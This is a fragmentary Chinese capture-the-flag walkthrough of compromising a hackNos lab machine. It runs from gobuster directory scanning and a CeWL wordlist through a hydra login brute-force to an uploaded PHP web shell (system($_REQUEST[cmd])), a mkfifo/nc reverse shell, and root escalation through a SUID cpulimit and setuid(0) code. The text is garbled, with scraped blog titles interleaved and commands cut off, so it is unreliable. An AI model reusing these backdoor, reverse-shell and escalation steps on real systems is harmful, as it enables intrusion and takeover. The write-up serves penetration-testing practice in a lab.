第二步选择第二个选项然后按下

init/bin/bash然后按ctrlx进入一个相当于控制台的界面里面可以执行命令

20.04的ubuntu已经不用/etc/network/interfaces来设置网络了变成在/etc/netplan下的文件来配置了

教程Ubuntu

网卡启动及配置配置前请注意文件备份_邹霍梁数字化企业的博客-CSDN博客

打开配置文件

/etc/netplan/00-installer-config.yaml

1按下i进入编辑模式修改网卡为DHCP

192.168.1.1nameservers:addresses:

应用更改

/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt扫描出三个扫描

gobuster

/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

登录发现有一个邮箱保存下来

http://192.168.16.200/websec/index

在http://192.168.16.200/websec/login发现登录后台页面需要使用邮箱

二、密码爆破

Cewl是一款采用Ruby开发的应用程序你可以给它的爬虫指定URL地址和爬取深度还可以添额外的外部链接接下来Cewl会给你返回一个字典文件。

工具源地址【传送门】

根据收集的网站信息邮箱contacthacknos.com使用字典cewl.txt进行爆破

成功爆破出密码

无验证码]Web页面_hydra爆破web_Yuri800的博客-CSDN博客

爆破语法

/websec/admin:username^USER^password^PASS^:Log

In参数解释

https-post-form、http-get-form、https-get-form

-提交方式

#username^USER^password^PASS^:Log

username^USER^password^PASS^把在network中看到的POST提交的内容只是把用户名和密码部分换成了^USER^和^PASS^。

USER对应前面的-l

后跟的用户名rootPASS会被字典中的密码逐个替换。

:Log

In表示成功POST的内容就是一个简单的键值对的形式username用户名password密码

爆破结果

system($_REQUEST[cmd]);?可以看到后门文件上传后的路径

访问后门文件

http://192.168.16.200/websec/tmp/houmen.php?cmdid四、nc反弹

kaili开启nc监听

常用的一句话反弹shell总结_php一句话反弹shell_橘子女侠的博客-CSDN博客

/tmp/f;mkfifo

pty;pty.spawn(/bin/bash)五、第一个flag

bg.jpg

www-datahacknos:/var/www/html/websec$

Dockerfile

在Ubuntu中使用cpulimit限制进程的使用率_ubuntu

离线安装

#该函数用于设置实际用户ID将其设置为0即root用户的UID。

这将把进程的权限提升为超级用户。

setgid(0);#类似于

setuid此函数设置实际组ID将其设置为0即root组的GID。

system(/bin/bash);#

system

http://192.168.16.180:8888/tiquan4.使用cpulimit执行

方法一、命令提权

这个命令的目的是以限制的CPU使用率在这里是100运行一个交互式Shell也为suid权限直接提权成功

方法二、脚本提权